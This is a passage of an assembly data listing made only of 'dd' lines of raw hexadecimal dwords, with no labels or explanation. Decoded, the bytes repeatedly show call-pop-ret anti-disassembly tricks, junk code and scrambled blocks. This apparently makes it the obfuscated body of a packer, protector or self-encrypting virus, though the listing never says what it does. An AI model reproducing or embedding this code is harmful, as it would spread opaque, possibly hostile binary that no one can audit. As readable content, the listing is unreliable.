		dd 0D003E8D1h, 7504E983h, 53006AF4h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 7ABB66A2h
		dd 9FB356FCh, 880D5Bh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 8B10DDC3h, 2C2BA595h
		dd 0D98D8B06h, 66062C12h, 429DEF81h, 8BC28B50h,	8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 5150BEC3h, 26E8C3E9h
		dd 89C0451Ch, 2C1FB995h, 0E7D38106h, 8347F44Dh,	2C2071BDh
		dd 840F0006h, 75h, 6880Fh, 0DB810000h, 57F96B8Fh, 0B8h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 3FBFADC2h, 0B49C66C3h, 0EB81668Dh, 5E9B344h
		dd 2A000000h, 0F7535B42h, 4F518D8Dh, 6A062Ch, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0D1CA97C3h
		dd 0A1BBCE0Dh, 0FF045AE7h, 8B66F5E1h, 0C1BD83D8h, 62C29h
		dd 4DA840Fh, 0B5890000h, 62C0465h, 29C1BD83h, 0F01062Ch
		dd 4E284h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 33CB2621h, 2C2D419Dh, 0C1BD8306h
		dd 3062C29h, 47B860Fh, 0BD8B0000h, 62C2C19h, 56006A60h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 58810C51h, 4229782Fh, 19DD9D8Bh, 0BF60062Ch,	4F896010h
		dd 8C6661FCh, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0B8759B85h, 378092A6h, 10E98Fh, 95240000h
		dd 0A4707F07h, 47E5076Bh, 85039A94h, 0E7802396h, 4E180BAh
		dd 0C90AF8F5h, 14D840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 72C18EC3h, 8D7D7D2Dh
		dd 9D0B2153h, 62C2CA5h,	1DF1858Bh, 8B66062Ch, 318533DFh
		dd 6A062C0Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 264FC350h, 881C7B99h, 0E8666292h
		dd 0Eh,	0B4EF9E5Ah, 1E293C96h, 45F0E4EEh, 9E93A5Ch, 1B000000h
		dd 466BBC4h, 21109FD3h,	5060505Bh, 0F17B152h, 0F525031h
		dd 5A585A31h, 0ED2EB858h, 8961392Ch, 6A2404h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0FD1712C3h
		dd 6AFC2A61h, 0E99D8B00h, 0E8062C08h, 4, 1F03FFh, 8B50FA8Bh
		dd 0E9042444h, 0Ah, 670AEBF3h, 880C8204h, 8B7462h, 4489F9B3h
		dd 6A580424h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0A981C353h, 9509F27Ah,	62C2B59h
		dd 346595FFh, 8D89062Ch, 62C2BEDh, 0B0208589h, 6A062Fh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0BF0F6AC3h, 0D5BD8BF8h, 0E9062C1Ch, 1FDh, 8B73DB80h
		dd 2FB01885h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 1A610D62h, 937A801Fh, 0E58BF66h
		dd 1800C7h, 89600000h, 2C259DB5h, 0BCE98106h, 6143EB7Ch
		dd 0B01CB58Bh, 6A062Fh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0F37C1C3h, 858BF9BFh, 62C0C55h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0B4C35747h
		dd 0F3628176h, 8BA867EEh, 2C12FDBDh, 6A068906h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 2859C351h, 10AD2D22h, 8BB582CFh, 5E9DAh, 84AC0000h
		dd 8BE2E6E3h, 2C1DF185h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0B66D5272h, 0AA0DF537h
		dd 11BD014Ch, 89062C21h, 6A0446h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0AA57A1C3h, 4B50F8EEh
		dd 62BF6637h, 5260962Eh, 23893B8h, 0CE95B3Bh, 72000000h
		dd 515E1D03h, 4728A48Fh, 611D35A1h, 5E95650h, 39000000h
		dd 19171E70h, 0E950965Bh, 0Eh, 0DC2C3934h, 38083BDDh, 351DF811h
		dd 0E95B5BA1h, 0Dh, 0C14493D3h,	286A6948h, 0D772FDDh, 18B5FFA4h
		dd 0F062FB0h, 5568F9BFh, 50773EC0h, 0F8AB752h, 0C3BB6631h
		dd 81585A51h, 0C3AA2434h, 7E87721h, 95000000h, 89CD4885h
		dd 8D29A0AAh, 62C08A5h,	20858D5Bh, 6A062FB0h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 8B6EC356h, 2C1D259Dh, 9041B706h, 50F88B66h, 1F45E1BBh
		dd 9E99070h, 0F1000000h, 7CB1064Bh, 0E8CA5CB5h,	6951A3BFh
		dd 6595FF44h, 8B062C34h, 2C2C85BDh, 6A6106h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 1F48A7C3h
		dd 30C99589h, 85C7062Ch, 62C29C1h, 3, 49F38166h, 9995893Fh
		dd 83062C13h, 2FB020BDh, 840F0006h, 69h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 0BEC35545h, 0E509BF66h
		dd 0DE8h, 0D963FB00h, 9F2DD4F7h, 0AEC1328Ah, 0B509A30Eh
		dd 62C1FD5h, 46E95Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 9DEE09C3h, 66C03AECh
		dd 31A8ECBFh, 2C2BF995h, 0C305006h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 5DC35545h, 8BCB883Bh,	2C31259Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 8B66CBBBh, 0C1BD83F9h, 3062C29h, 3D5850Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 5F7540C3h, 893E7AADh, 2C1E599Dh, 20BD8306h, 62FB0h
		dd 3A1840Fh, 89600000h,	2C2641B5h, 0F28B6606h, 0DE8B6661h
		dd 0B020B5FFh, 9D01062Fh, 62C1DE9h, 19C995FFh, 0F98B062Ch
		dd 0B014B58Bh, 8166062Fh, 669D8AD7h, 0C70808BBh, 1000106h
		dd 35BD8B00h, 96062C0Bh, 50DA8B66h, 9D6977BBh, 870F965Dh
		dd 6, 1C8D9D89h, 0B5FF062Ch, 62FB020h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0CAC35747h,	0BFCB4FEDh, 1451A1C7h
		dd 8BD95FFh, 6A062Ch, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 507A17C3h
		dd 89A587DDh, 2C212D9Dh, 49958906h, 8B062C12h, 2FB014B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 153276B7h, 0A3D8AC74h, 14800FBDh, 0F000000h
		dd 0E85h, 8E800h, 826F0000h, 348DC415h,	8B5BFF2Dh, 2C10D1BDh
		dd 0B1858B06h, 89062C23h, 2C2D359Dh, 0D3816606h, 8689C4CFh
		dd 0C4h, 10E9h,	1EF75300h, 0C4B9ADECh, 11166131h, 219D75EEh
		dd 0A5958BE1h, 89062C2Bh, 2C0DF98Dh, 4C28306h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0B6C35343h, 3535BF3Bh
		dd 9D091118h, 62C1FE9h,	81205089h, 0ECDCDDC7h, 64858D46h
		dd 6A062FC5h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0B652C357h, 34B2C1CEh,	0FE924B7h
		dd 0D4000000h, 98AC3406h, 0E40B160Bh, 0C35D777Fh, 86892F7Ch
		dd 0B8h, 0A119D89h, 6A062Ch, 0B59BD8Bh,	0B5FF062Ch, 62FB020h
		dd 1F7D8D09h, 95FF062Ch, 62C0589h, 66FAB70Fh, 50F0A6BFh
		dd 89FB8B66h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 591EDC3h, 4E90DDDBh, 8CDB8166h
		dd 20B5FF24h, 66062FB0h, 0E1EDB81h, 34359D01h, 95FF062Ch
		dd 62C11D9h, 83D98B66h,	2C07B5BDh, 840F0006h, 84h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 8CC35343h, 8987FA5Fh
		dd 2C076D85h, 59BD8B06h, 96062C0Fh, 0BE8h, 0CC133100h
		dd 0A1D62B1Ch, 0FA874C36h, 6A96505Bh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 5314C356h
		dd 0C1BD8B9Eh, 0E8062C1Fh, 0Fh,	5269C073h, 99264FF2h, 92881C7Bh
		dd 899D6662h, 2C10B19Dh, 0D7815B06h, 4EA7D228h,	0B020B5FFh
		dd 6A062Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 762138C3h, 95FF7774h, 62C1529h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 32C35040h, 0F1A05727h
		dd 8166C7DFh, 0FFCA21E7h, 2FB020B5h, 9D8B5706h,	62C21D5h
		dd 7995FF5Bh, 0F5062C04h, 1535BD83h, 0F02062Ch,	3A84h
		dd 4BEB8100h, 8B27C5DCh, 2C018985h, 0B70F6006h,	0C661FEh
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 662C3B31h, 0E98D8937h, 0C7062C15h, 2C166185h
		dd 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 2D9D8B84h, 0F062C0Bh, 14E9DFBFh
		dd 39000000h, 8288F25h,	94CC8B7Fh, 6D005109h, 3599186Ch
		dd 0E976E705h, 0FFFFF36Ch, 0EE9h, 3F96C900h, 0A02F7090h
		dd 9AFDC6D9h, 8B465872h, 858DF8C1h, 62C32A5h, 7E9h, 14E2AB00h
		dd 703FB6E5h, 39BF5190h, 5F1B0E27h, 870F50h, 90000000h
		dd 6AD8B70Fh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0F0ACCC43h, 9072C27Dh, 0A1B5296Dh
		dd 6A062C2Bh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 477EC701h, 0A3F05227h, 9D892C95h
		dd 62C0EA1h, 1D4D9589h,	850F062Ch, 11h,	0CE9h, 9AE53000h
		dd 977946CAh, 0F71507DBh, 0AD858DC0h, 0F06311Dh, 582h
		dd 0C3816600h, 0C0833C66h, 89C38105h, 9063F47Ah, 9E8h
		dd 3D008100h, 0E248B4B9h, 0DE8BDBC3h, 6A90505Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 35CBC351h, 2A099D8Bh, 0DF81062Ch, 3484E5ACh,	0F88B006Ah
		dd 9D0B006Ah, 62C0591h,	239D95FFh, 6A062Ch, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 841A64C3h
		dd 479BFF41h, 10E8h, 408C700h, 0AC97F48Dh, 2ED02C8Dh, 0E854DE78h
		dd 8BB750C1h, 8D8D5F5Fh, 62FA042h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 37C35646h, 0D5BFE32Bh, 0BD8B2949h
		dd 62C347Dh, 26A58D09h,	0D1FF062Ch, 31259D0Bh, 0BD83062Ch
		dd 62C09A1h, 68850F01h,	89000000h, 2C049DB5h, 89026A06h
		dd 2C25C58Dh, 4895006h,	53006A24h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0B9138C91h, 6810FB2h
		dd 8B000000h, 2C071D9Dh, 8995FF06h, 6A062C05h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0CD4BC355h, 798D29FAh, 0E9062C1Fh, 0DADh, 0E8h, 0ED815D00h
		dd 6311DB7h, 1E29B529h,	13E9062Ch, 0D000000h, 0B23363B5h
		dd 0E6E5847Eh, 0A1FDD74Ch, 0F79EB293h, 6A0183h,	3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 352AF5C3h, 0E9C51D48h, 0F564D3Fh, 8Dh, 858D5B00h, 62F9AD3h
		dd 0C8A0BB66h, 50DE8B90h, 719D8B90h, 64062C13h,	35FFh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0AE867C3h, 6E000000h, 0FCC26F33h,	6B0F156Fh
		dd 0FE8B6680h, 0EABF665Bh, 2589644Eh, 0
		dd 1E519D8Bh, 85FF062Ch, 62C1A69h, 0FF6AD88Bh, 6890Fh
		dd 9D8B0000h, 62C05DDh,	0DDB5FFh, 6A062Ch, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0A1F224C3h
		dd 29D9B70Fh, 2C2559BDh, 0C595FF06h, 0E9062C04h, 0EEh
		dd 0EE9h, 41683D00h, 7C01EAFBh,	29D36EE5h, 0B001A1DBh
		dd 8B70E600h, 8B71E4F8h, 2C246D9Dh, 0F613C06h, 0C583h
		dd 0C8B60F00h, 0D1C38166h, 6BA6Bh, 0BD0B0000h, 62C1A1Dh
		dd 10E9C18Bh, 0D8000000h, 93FC2648h, 0BB9D773Fh, 0EC5763F9h
		dd 0C143DDB4h, 0BD3304E8h, 62C04C9h, 0FE2F766h,	0C82BFABFh
		dd 6E8h, 1D5C3600h, 0F984B2F1h,	0E9D18B5Fh, 76h, 2039BD8Bh
		dd 858B062Ch, 44004E49h, 7E9h, 6A4EDE00h, 29728517h, 2907C083h
		dd 2C1895BDh, 0C08306h,	0D03BDE8Ah, 10830Fh, 81660000h
		dd 0E9A58CF3h, 3Eh, 0F859D89h, 8D8B062Ch, 0FFFFFFFFh, 25B9BD8Bh
		dd 0E183062Ch, 23840F01h, 89000000h, 2C2239B5h,	0FFA58306h
		dd 0FEFFFFFFh, 6C5BD89h, 9589062Ch, 44004E49h, 0E9D78166h
		dd 0E933h, 0B58D0000h, 6309C65h, 12E9h,	0F91E7A00h, 53E14228h
		dd 744705D5h, 0F815AE16h, 6A13B621h, 8BACB700h,	2C2B21BDh
		dd 0B195FF06h, 89062C26h, 2C0F39BDh, 0F23B906h,	6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 47D5A5C3h, 0E9529C84h, 0Ch, 0E8BD1A0h, 56996B76h, 1CC6C6A0h
		dd 24E5BD89h, 0E183062Ch, 56006AFCh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0FC718D5Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 2AC35545h
		dd 0DE9A9108h, 0B248E4C6h, 0B8h, 66D22B00h, 5CBF381h, 2441B589h
		dd 33AD062Ch, 3E8D1C2h,	4E983D0h, 6AF475h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 7A19E9C3h
		dd 11E9C2h, 778E0000h, 0E4293222h, 0D79534B5h, 86C7198Ch
		dd 6AFBDB3Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 54A4C350h, 7E316BAEh, 44386589h
		dd 0FE8h, 1B856600h, 0FBA1D507h, 0DD25170Ah, 0E12A390Ah
		dd 13D5BD8Bh, 0D5B062Ch, 88h, 2DADB589h, 958B062Ch, 62C2BA5h
		dd 68E0Fh, 9D890000h, 62C015Dh,	12D98D8Bh, 6A062Ch, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0FC7718C3h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 6A5818h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 4E6BCDC3h, 95299A6Dh, 62C218Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 1EC35141h, 96FA6C87h
		dd 149D8D01h, 0BD83062Ch, 62C2071h, 93840F00h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 93AAC355h, 0B808B2CDh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 3BC35242h
		dd 0A2E4D0C2h, 7AAA2B60h, 0B9BD8B75h, 66062C26h, 8DEBDBBBh
		dd 2C4F518Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 12582EF0h, 77F694E3h, 2CF5BD8Bh
		dd 0E1FF062Ch, 0D1958B60h, 81062C13h, 123613EAh, 0BD83614Fh
		dd 62C29C1h, 2C840F00h,	6A000004h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0C082C351h
		dd 0F8341FAEh, 29C1BD83h, 0F01062Ch, 41984h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0EE84F10h, 0FB000000h, 312C7C52h, 81A549F9h,	0CF73A7B7h
		dd 31BD8BAFh, 5F062C2Ah, 29C1BD83h, 0F03062Ch, 39F86h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 8B0F60F7h, 6, 3119BD8Bh,	8C66062Ch, 51006AD9h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0D144A311h, 2AD8BDA7h, 3850Fh, 0B70F0000h, 4E180FEh
		dd 0D0DB589h, 0C90A062Ch, 0DD840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 6A609BC3h
		dd 8BAEC380h, 2C1DF185h, 8533F906h, 62C0B31h, 880Fh, 0BD010000h
		dd 62C3105h, 0EE950h, 0BC10000h, 0F8B500C9h, 0ADA26B41h
		dd 3ECE3D1Fh, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 6DCBC357h, 7BCFFFD5h
		dd 0E78153BAh, 79908F13h, 0DB81006Ah, 2B8ECC11h, 6E20BF66h
		dd 4AF65368h, 90BB666Eh, 24348122h, 6E55F5ACh, 2B318589h
		dd 95FF062Ch, 62C3465h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 76C35343h, 5595890Ch,	89062C0Dh, 2FB02085h
		dd 1890F06h, 0F5000000h, 1BBE9h, 0B4CF8100h, 8B6ACB33h
		dd 2FB01885h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 24BA5261h, 18DDEF81h, 0BD8B02E7h
		dd 62C08B9h, 1800C7h, 0F3810000h, 5BA11E4Dh, 0B01CB58Bh
		dd 6A062Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0F1273CC3h, 0ACB600B4h, 8BDFB70Fh, 2C0C5585h
		dd 459D3106h, 89062C0Ch, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 1C31091h, 0BA66601Bh
		dd 8B0F01F5h, 6, 8D0Fh,	8B610000h, 2C1DF185h, 0DBB70F06h
		dd 6A044689h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 63B5C355h, 847EB233h, 14F19D89h
		dd 0F96062Ch, 81h, 51605000h, 310F5250h, 615A585Ah, 56006A96h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0E90438A5h, 5, 0F9B438B5h, 18B5FFF6h, 6A062FB0h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0B57CC350h, 19DD8589h, 4E8062Ch, 0FF000000h,	0F001F03h
		dd 383h, 0DA8B6600h, 0A7BB6650h, 24448BFDh, 0F88B6604h
		dd 0BF53008Bh, 43BFCA34h, 2444895Fh, 58D88B04h,	7458D89h
		dd 858D062Ch, 62FB020h,	50F88B66h, 4896FB3h, 5E824h, 0F8B50000h
		dd 81A26B41h, 562DA8DBh, 820F5F50h, 0Eh, 8D858960h, 89062C29h
		dd 2C25E1B5h, 95FF6106h, 62C3465h, 1C29BD8Bh, 0D98A062Ch
		dd 52006A61h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0E2365F38h, 0FE931h, 43560000h, 9CCEAB7Eh
		dd 6E620A9Ch, 0A310B152h, 0C185C775h, 3062C29h,	66000000h
		dd 83012BBBh, 2FB020BDh, 840F0006h, 54h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 3CC35545h, 8C41B332h
		dd 0F416323h, 384h, 0FEB70F00h,	3EE9h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 34BA42C3h, 0C688BB66h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0AC23C353h,	0CF86AD9h
		dd 0E381299Eh, 20523BABh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0F2C35141h, 4F4F9137h, 1E27839Dh, 27459529h
		dd 0BF66062Ch, 0BD83382Ah, 62C29C1h, 6850F03h, 83000004h
		dd 2FB020BDh, 840F0006h, 3F9h, 1C8D9D8Bh, 0B5FF062Ch, 62FB020h
		dd 32918D89h, 95FF062Ch, 62C19C9h, 0BE9h, 56768300h, 70B07A77h
		dd 80F9C0Fh, 0B014B58Bh, 0BD8B062Fh, 62C2975h, 106C7h
		dd 0DE90001h, 0E3000000h, 1C5F9E8Ah, 10A8054Ch,	0F51CB6B0h
		dd 0FE8B6696h, 0B3525050h, 0F310F53h, 68Ch, 0F525000h
		dd 5A585A31h, 6A9658h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0ACC090C3h, 0FFE6E384h, 2FB020B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0FB2F517Eh, 73A60B88h, 8B54D780h, 2C203DBDh
		dd 0BD95FF06h, 66062C08h, 317FCB81h, 12E9h, 3E7FD500h
		dd 0B1E5A157h, 0DE090B81h, 5FF8B33Bh, 8B3DD8F6h, 2FB014B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 7B17609Eh, 376F0E22h, 6E9h, 0C269800h, 8B4C1BECh
		dd 2C23B185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 663E0B60h, 8D89DA8Bh, 62C0FF9h, 0C48689h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 9A1DE7C3h, 0D6033D12h, 958B31A9h,	62C2BA5h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 86C35040h
		dd 0C9ECFAA2h, 9589FCA3h, 62C1445h, 6A04C283h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0AF38C353h, 2DBD2909h, 89062C16h, 6A2050h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 7218BFC3h
		dd 4CCB185Eh, 0B9A3F781h, 9D8B6F84h, 62C3435h, 0C564858Dh
		dd 0FE9062Fh, 1E000000h, 0E333A2E9h, 395C3247h,	0A2228744h
		dd 8D89F47Eh, 62C0079h,	0B88689h, 0BD8B0000h, 62C0FCDh
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0C8F5F8C3h, 0FF5EE56Ch, 2FB020B5h, 0B9BD8906h
		dd 0FF062C1Fh, 2C058995h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 559D016Dh
		dd 96FE8B66h, 50DF8B66h, 0FF5F5396h, 2FB020B5h,	0D995FF06h
		dd 0E8062C11h, 10h, 0A83E1604h,	22C2CDA3h, 675FEF8Fh, 0E68C8EC3h
		dd 0F359D89h, 8B5F062Ch, 2C01199Dh, 0B5BD8306h,	62C07h
		dd 1F840Fh
		dd 8C0F0000h, 6, 20259D09h, 6650062Ch, 3489FB8Bh, 6860F24h
		dd 89000000h, 2C25B985h, 20B5FF06h, 6A062FB0h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 9CD4C350h, 7DCA1BC2h, 0E8B0F24h, 0E9000000h,	9, 0B9A8C4EAh
		dd 12FF82A9h, 0FF49B750h, 2C152995h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0FB522869h
		dd 81A5918Dh, 9DC20BD3h, 0FFF6B314h, 2FB020B5h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 7E6914B6h, 37DE371h,	61BD8B96h, 0FF062C1Dh, 2C047995h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 1B1BB9CAh, 1A66194Dh, 1535BD83h,	0F02062Ch
		dd 3A84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0C8AFF110h, 418B22A6h, 858B0134h
		dd 62C0189h, 0E99612BFh, 0C61Bh, 66DF8B66h, 0C7A894BBh
		dd 2C166185h, 6, 559D2900h, 53062C23h, 2830Fh, 61600000h
		dd 0F364E95Bh, 6AFFFFh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 37490BC3h, 0AE98Eh, 693F0000h, 0F4435427h
		dd 0C93F053Dh, 6AC18Bh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 79A163C3h, 8B2FC228h, 2C1A11BDh
		dd 0A5858D06h, 89062C32h, 2C0FCD85h, 0BB669006h, 5050EE7Ch
		dd 905FDA8Bh, 2135BD8Bh, 6A062Ch, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0FC35040h, 6A006A39h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 48FAC352h, 0D0B01AF8h, 8B6ED4A2h, 2C10F5BDh,	68F0F06h
		dd 89000000h, 2C209DB5h, 7A858D06h, 6A06312Dh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 6AEC356h, 0C95546FEh, 0C1DD127Ah, 83F8BF0Fh,	5FB705C0h
		dd 6E95050h, 69000000h,	9FCEEC31h, 4895B65h, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 8DBD8BB3h, 89062C12h, 2C127D95h, 6A006A06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0A69EC353h, 0C3153BA8h, 3435BD89h, 9589062Ch, 62C20D1h
		dd 0BB66006Ah, 95FFE6D0h, 62C239Dh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0A7C35040h,	988C488Eh, 109DB589h
		dd 8D8D062Ch, 62FA042h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 0CEC35646h, 0E64FB2CAh, 952960D6h, 62C21A9h
		dd 29D1BD8Bh, 0FF61062Ch, 53006AD1h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0FEBCBC9Ah
		dd 6C71713Ch, 5880Fh, 0A0BB0000h, 0F77984Eh, 386h, 0B0F38000h
		dd 9A1BD83h, 0F01062Ch,	5F85h, 52006A00h, 3E8h,	0C35A2000h
